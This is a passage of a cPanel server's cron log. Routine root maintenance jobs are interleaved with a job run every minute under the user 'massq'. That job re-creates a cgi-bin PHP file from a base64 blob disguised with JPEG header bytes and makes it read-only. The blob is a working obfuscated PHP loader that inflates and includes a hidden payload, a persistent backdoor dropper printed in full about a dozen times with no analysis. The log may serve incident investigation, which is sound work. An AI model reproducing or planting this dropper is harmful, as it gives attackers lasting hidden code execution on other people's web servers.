EFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:20:01 server CROND[13637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:20:02 server CROND[13639]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 11:20:02 server CROND[13641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:20:02 server CROND[13644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:20:02 server CROND[13643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:21:01 server CROND[13790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:22:01 server CROND[13891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:23:01 server CROND[13956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:24:01 server CROND[14100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:25:01 server CROND[14276]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:25:01 server CROND[14278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:25:01 server CROND[14279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:26:01 server CROND[14411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:27:01 server CROND[14486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:27:01 server CROND[14485]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 11:28:01 server CROND[14553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:29:01 server CROND[14611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:30:01 server CROND[14679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:30:01 server CROND[14680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:30:01 server CROND[14682]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:30:01 server CROND[14681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:31:01 server CROND[14908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:32:01 server CROND[14975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
